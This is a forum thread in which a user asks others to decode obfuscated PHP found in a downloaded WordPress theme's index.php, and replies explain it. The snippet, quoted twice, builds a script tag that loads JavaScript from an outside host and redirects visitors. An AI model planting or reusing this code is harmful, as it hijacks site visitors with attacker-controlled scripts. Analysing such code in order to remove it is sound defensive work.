php decoding needed...

Spawnie

Power Member
Joined
Feb 1, 2010
Messages
707
Reaction score
292
So... I downloaded this wordpress-theme and installed it but its redirecting to a landing page...
Found this code in the index.php
PHP:
<?php $sdjdf="scr";$oe="ipt";$p32aps_asd="type='";$oaspd03="tex";$ijda="t/ja";$o4="vasc";$fs_3="ript'";$sspc=" ";$annl="/";$ia="<";$ai=">";
$kraj=$ia.$annl.$sdjdf.$oe.$ai;$opa1=$ia.$sdjdf.$oe.$sspc.$p32aps_asd.$oaspd03.$ijda.$o4.$fs_3.$sspc;$p30="sr"; $ccc="c='http://";$dsad="au";$sa3j="to";$ois="-";$osa="im";$dota=".";
$co2="co";$zxdml="m/4ad";$meg="54/s";$geai="ju";$k34d="342'";$st0=$p30.$ccc.$dsad.$sa3j.$ois.$osa;$s2t=$dota.$co2.$zxdml.$meg.$geai.$k34d.$ai;$st0.=$s2t;
echo $opa1.$st0.$kraj; ?>
When I remove it, I get
Parse error: syntax error, unexpected $end in /home/domain/public_html/blog/wp-content/themes/newwptheme/index.php on line 32

Anyone able to decode this?
Never seen something like that before...
 
it just looks like a bunch of php vars created with random characters and then those vars strung together with others.. paste line 32 of that page so I can see what is on that line when it triggered the error
 
Edit: Too slow on my reply, what ^ he said.

Its just a bunch of random variables that they combine to print the js redirect. Nothing special just made to look confusing, no encoding.

You should be able to remove it without a problem. It's something outside this code that is causing the error.
 
thanks for the answers so far, but when I delete it, I get the above mentioned error - so page is not loading...

this is the full index.php

Code:
<?php if ($_GET['post_type'] == 'estate') { ?>
<?php get_template_part('wpzoom', 'search'); ?>
<?php } else { ?>
 
    <?php get_header(); ?>

    <?php if (is_home() && (option::get('slider_index') == 'on')) get_template_part('slider', 'index'); ?>

    <div id="main" role="main">
     
        <?php if ((option::get('homepage_content') == 'Latest listings')) { ?>
        
            <?php get_template_part('wpzoom', 'toggler'); ?>
            <?php get_template_part('loop', 'estate'); ?>
            
        <?php } else { ?>
        
            <div class="posts_archive">
                <section id="content">
             
                    <?php get_template_part('loop', 'index'); ?>
                 
                </section>
                
                <?php get_sidebar(); ?>
            </div>
        <?php } ?>
      
    </div>

    <?php get_footer(); ?>
<?php } ?>
<?php $sdjdf="scr";$oe="ipt";$p32aps_asd="type='";$oaspd03="tex";$ijda="t/ja";$o4="vasc";$fs_3="ript'";$sspc=" ";$annl="/";$ia="<";$ai=">";
$kraj=$ia.$annl.$sdjdf.$oe.$ai;$opa1=$ia.$sdjdf.$oe.$sspc.$p32aps_asd.$oaspd03.$ijda.$o4.$fs_3.$sspc;$p30="sr"; $ccc="c='http://";$dsad="au";$sa3j="to";$ois="-";$osa="im";$dota=".";
$co2="co";$zxdml="m/4ad";$meg="54/s";$geai="ju";$k34d="342'";$st0=$p30.$ccc.$dsad.$sa3j.$ois.$osa;$s2t=$dota.$co2.$zxdml.$meg.$geai.$k34d.$ai;$st0.=$s2t;
echo $opa1.$st0.$kraj; ?><!-- Don't delete this -->
 
Sorry, now it works...
Dunno what caused the error before :)
 
You didn't accidently remove the } at line 32 did you? Also just try removing the echo statement just in case something is checking that the variables exist (which I doubt).

Edit: Too slow again lol
 
lol @ don't delete this. yeah you probably accidentally deleted the close bracket on line 32. Normally what causes an unexpected "end" but who knows what else is in that script. I would not use it.
 
nah its fine... checked everything - must have deleted the } accidentially...
Dont understand why someone is doing that stupid stuff...
Everyone who uses the theme and sees directly that hes getting redirected wont install the theme ever...
 
it will load a java-script from auto-im 4ad54/sju342 maybe you need to delete this piece of code?)
 
Back
Top